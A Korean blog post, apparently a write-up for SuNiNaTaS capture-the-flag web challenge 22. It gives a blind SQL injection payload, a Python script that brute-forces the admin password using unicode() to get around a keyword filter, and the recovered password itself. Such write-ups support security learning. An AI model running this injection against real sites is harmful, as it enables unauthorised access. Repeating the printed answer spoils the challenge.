Bace

Suninatas - 22번 본문

SuNiNaTaS/Web

Suninatas - 22번

Bace 2020. 2. 5. 01:14

문제는 다음과 같다.

필터링 키워드들도 다 주어져 있다.

 

코드를 봤는데 힌트가 주어져 있다.

guest / guest 로 로그인이 가능하고 admin의 pw를 찾으라고 한다.

 

guest / guest 로 로그인해보았다.

로그인 성공 결과값은 OK가 들어간다.

 

일단 아래와 같이 보내 pw의 길이를 알아냈다.

?id=admin' and len(pw)<20-- &pw=0

시도해본 결과 pw의 길이는 10자리였다.

 

 

이제 pw를 알아내야하는데 ascii와 char이 필터링 되어있으므로 unicode를 통해 값을 알아냈다.

pw 값은 코딩을 통해 찾아냈다.

import requests

answer = ''

for i in range(1,11):
	for j in range(33,128):
		url = "http://suninatas.com/challenge/web22/web22.asp?id=admin' and unicode(substring(pw,{},1))={}--&pw=0".format(i,j)
		cookies = {'ASPSESSIONIDACRCQDDS':'자신의 SESSIONID'}
		response = requests.get(url=url,cookies=cookies)
		if response.text.find("OK") != -1:
			answer += chr(j)
			print 'Found {}st letter'.format(i)
			break
		print '{}st letter {}th '.format(i,j)
	
print answer

 

결과

 

admin / N1c3Bilnl) 으로 로그인해보았다.

OK admin이 뜬다.

 

flag가 뜨지 않으므로 Auth 창에 가서 pw 값으로 인증해보았다.

 

# Auth

'SuNiNaTaS > Web' 카테고리의 다른 글

Suninatas - 12번  (0) 2020.06.05
Suninatas - 3번  (0) 2020.06.05
Suninatas - 8번  (0) 2020.02.04
Suninatas - 7번  (0) 2020.02.04
Suninatas - 5번  (0) 2020.02.04